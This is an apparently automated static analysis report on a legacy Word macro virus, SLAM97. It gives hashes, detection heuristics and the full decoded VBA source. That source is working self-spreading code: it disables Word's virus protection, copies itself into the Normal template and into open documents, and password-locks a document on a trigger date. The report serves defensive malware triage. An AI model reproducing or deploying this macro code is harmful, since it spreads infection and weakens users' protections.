Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 064fbf75b5f212a6…

MALICIOUS

Office (OLE)

51.0 KB Created: 1997-05-10 00:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2bb4818e7471bd6bc9b31dd37ac619ad SHA-1: 1bfdbf61b5ea9ca83062b8269c9586592bb3ea0e SHA-256: 064fbf75b5f212a69877a03903702a26f95675c52929d2b6c5c6932428a7bddc
376 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This Office document contains legacy WordBasic macro-virus markers and VBA macros, including AutoOpen and AutoClose routines. The AutoOpen subroutine attempts to copy the 'SLAM97' macro to both the NormalTemplate and the ActiveDocument, suggesting an attempt to establish persistence or spread. The 'Payload' subroutine, though truncated, is called, indicating the execution of malicious code. The presence of these elements and ClamAV detections strongly suggest a malicious macro-based attack.

Heuristics 9

  • ClamAV: Doc.Trojan.DWMVCK1-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.DWMVCK1-4
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    This finding applies to a carved embedded Office document found at a nonzero offset inside the submitted file, not directly to the top-level document. OLE file is 19,343 bytes but its declared streams total only 0 bytes — 19,343 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    This finding applies to a carved embedded Office document found at a nonzero offset inside the submitted file, not directly to the top-level document. The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4920 bytes
SHA-256: de96d48cc5ae585c65305e03a896eea15f1a040f1144623c082f4af26083d5a5
Detection
ClamAV: Doc.Trojan.DWMVCK1-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "SLAM97"
Sub AutoOpen()
On Error GoTo SLAM97

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set GlobalDoc = NormalTemplate
    Set ActiveDoc = ActiveDocument

    GlobalInstalled = No
    DocumentInstalled = No

   For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "SLAM97" Then
            GlobalInstalled = Yes
        End If
   Next
    
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "SLAM97" Then
            DocumentInstalled = Yes
        End If
   Next
  
    If GlobalInstalled = No Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLAM97", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    If DocumentInstalled = No Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLAM97", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    Application.DisplayAlerts = wdAlertsAll

    Payload

SLAM97:
End Sub

Sub AutoClose()
On Error GoTo SLAM97

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set GlobalDoc = NormalTemplate
    Set ActiveDoc = ActiveDocument

    GlobalInstalled = No
    DocumentInstalled = No

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "SLAM97" Then
            GlobalInstalled = Yes
        End If
    Next

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "SLAM97" Then
            DocumentInstalled = Yes
        End If
    Next

    If GlobalInstalled = No Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLAM97", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    If DocumentInstalled = No Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLAM97", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    Payload

    Application.DisplayAlerts = wdAlertsAll

SLAM97:
End Sub

Sub FileSaveAs()

    Dialogs(wdDialogFileSaveAs).Show

On Error GoTo SLAM97

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set GlobalDoc = NormalTemplate
    Set ActiveDoc = ActiveDocument

    GlobalInstalled = No
    DocumentInstalled = No

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "SLAM97" Then
            GlobalInstalled = Yes
        End If
    Next
    
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "SLAM97" Then
            DocumentInstalled = Yes
        End If
    Next

    If GlobalInstalled = No Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLAM97", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    If DocumentInstalled = No Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLAM97", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    Application.DisplayAlerts = wdAlertsAll

SLAM97:
End Sub

Sub Payload()
On Error GoTo SLAM97
    If Month(Now()) = 1 And Day(Now()) = 1 And Year(Now()) = 1998 Then
        If ActiveDoc.HasPassword = False Then
            ActiveDoc.Password = "SLAM97"
        End If
    End If

    If Month(Now()) = 10 And Day(Now()) = 16 Then
      MsgBox "SLAM97, written by DarkChasm [SLAM]", vbOKOnly, "SLAM97"
    End If

SLAM97:
End Sub

Sub ToolsMacro()
  Payload
End Sub

Sub FileTemplates()
  Payload
End Sub

Sub ViewVBCode()
  Payload
End Sub
embedded_office_off00008071.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x8071 19343 bytes
SHA-256: efdbd61045fa15656b2e251f81bdf72028612e615fd69e55572c1019b2e8bb70